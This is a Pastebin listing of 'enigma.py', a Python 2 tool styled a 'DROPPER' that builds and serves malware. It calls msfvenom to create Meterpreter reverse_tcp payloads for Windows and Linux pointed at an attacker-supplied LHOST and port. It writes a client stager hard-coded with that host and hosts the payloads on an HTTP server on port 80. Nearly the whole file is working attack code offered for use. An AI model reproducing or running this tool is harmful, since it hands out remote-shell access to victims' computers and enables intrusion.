Advertisement
FlyFar

enigma.py

Nov 16th, 2023
865
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.25 KB | Cybersecurity | 0 0
  1. #-*- coding: utf-8 -*-
  2. #------------------------------------------------------
  3. #
  4. #      BY: UNDEADSEC from BRAZIL :)
  5. #      Visit: https://www.youtube.com/c/UndeadSec
  6. #      Github: https://github.com/UndeadSec/EvilURL
  7. #------------------------------------------------------
  8. from subprocess import call
  9. from time import sleep
  10. from os import geteuid
  11. from sys import exit
  12.  
  13. if not geteuid() == 0:
  14.     exit('Enigma must be run as root')
  15. RED, WHITE, YELLOW, CIANO, GREEN, END = '\033[91m', '\33[46m', '\33[93m', '\33[36m', '\033[1;32m', '\033[0m'
  16. def message():
  17.     call('clear', shell=True)
  18.     print '''
  19. {1}:::::::::: ::::    ::: ::::::::::: ::::::::  ::::    ::::      :::    
  20. :+:        :+:+:   :+:     :+:    :+:    :+: +:+:+: :+:+:+   :+: :+:  
  21. +:+        :+:+:+  +:+     +:+    +:+        +:+ +:+:+ +:+  +:+   +:+  
  22. +#++:++#   +#+ +:+ +#+     +#+    :#:        +#+  +:+  +#+ +#++:++#++: {0}
  23. +#+        +#+  +#+#+#     +#+    +#+   +#+# +#+       +#+ +#+     +#+
  24. #+#        #+#   #+#+#     #+#    #+#    #+# #+#       #+# #+#     #+#
  25. ########## ###    #### ########### ########  ###       ### ###     ###
  26.                                            {1}DROPPER
  27.                     by: UNDEADSEC from BRazil'''.format(CIANO, END)
  28. def runServer():
  29.     print '\n {0}[{1}*{0}]{1} Starting Server... {2}H4ppy h4ck1ng {1}:)'.format(CIANO, END, GREEN)
  30.     sleep(3)
  31.     call('cd Server && python -m SimpleHTTPServer 80', shell=True)
  32.  
  33. def generatePayloads():
  34.     call('rm -Rf Server/x64/* && rm -Rf Server/x86/*', shell=True)
  35.     payloadLHOST= raw_input('\n {0}[{1}~{0}]{1} Insert your payload LHOST: '.format(CIANO, END))
  36.     payloadLPORT= raw_input('\n {0}[{1}~{0}]{1} Insert your payload LPORT: '.format(CIANO, END))
  37.     print '\n {0}[{1}~{0}]{1} Generating Payloads...'.format(CIANO, END)
  38.     call('msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f elf -o Server/x64/lin.elf', shell=True)
  39.     call('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f elf -o Server/x86/lin.elf', shell=True)
  40.     call('msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f exe -o Server/x64/win.exe', shell=True)
  41.     call('msfvenom -p windows/meterpreter/reverse_tcp LHOST=' + payloadLHOST + ' LPORT=' + payloadLPORT + ' -f exe -o Server/x86/win.exe', shell=True)
  42.  
  43. def generateClient():
  44.     lhost= raw_input('\n {0}[{1}~{0}]{1} Insert your LHOST: '.format(CIANO, END))
  45.     template = open('Clients/sister.py', 'r')
  46.     template = template.read()
  47.     new = open('Output/sister.py', 'w')
  48.     new.write('#!/usr/bin/python\n# -*- coding: utf-8 -*-\nhost = \'' + lhost + '\'\n')
  49.     new.write(template)
  50.     print '\n {0}[{1}~{0}]{1} Generating Clients...'.format(CIANO, END)
  51.     sleep(3)
  52.     print '\n {0}[{1}*{0}]{1} Process done.\n\n {2}[{1}*{2}] Clients saved to Output/{1}'.format(CIANO, END, GREEN)
  53.  
  54. def init():
  55.     call('rm -Rf Server/x64/* && rm -Rf Server/x86/*', shell=True)
  56.     print '\n {0}[{1}~{0}]{1} Arranging the house...'.format(CIANO, END)
  57.     sleep(3)
  58.     call('cp ' + win64 + ' Server/x64/win.exe', shell=True)
  59.     call('cp ' + win86 + ' Server/x86/win.exe', shell=True)
  60.     call('cp ' + lin64 + ' Server/x64/lin.elf', shell=True)
  61.     call('cp ' + lin86 + ' Server/x86/lin.elf', shell=True)
  62.     print '\n {0}[{1}*{0}]{1} Process done.'.format(CIANO, END)
  63.  
  64. def main():
  65.     global win64, win86, lin64, lin86, mac64, mac86
  66.     print ' Select an option:\n\n {0}[{1}1{0}]{1} Insert your custom payloads  -> Recommended\n\n {0}[{1}2{0}]{1} Generate payloads with metasploit'.format(CIANO, END)
  67.     ask = raw_input('\n{0} EN1GM4 {1}> '.format(CIANO, END))
  68.     if ask == '1':
  69.         win64 = raw_input('\n {0}[{1}1{0}/{1}4{0}]{1} Insert Windows Payload x64 file path: '.format(CIANO, END))
  70.         win86 = raw_input('\n {0}[{1}2{0}/{1}4{0}]{1} Insert Windows Payload x86 file path: '.format(CIANO, END))
  71.         lin64 = raw_input('\n {0}[{1}3{0}/{1}4{0}]{1} Insert Linux Payload x64 file path: '.format(CIANO, END))
  72.         lin86 = raw_input('\n {0}[{1}4{0}/{1}4{0}]{1} Insert Linux Payload x86 file path: '.format(CIANO, END))
  73.         init()
  74.     if ask == '2':
  75.         generatePayloads()
  76.     generateClient()
  77.     runServer()
  78.  
  79. message()
  80. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement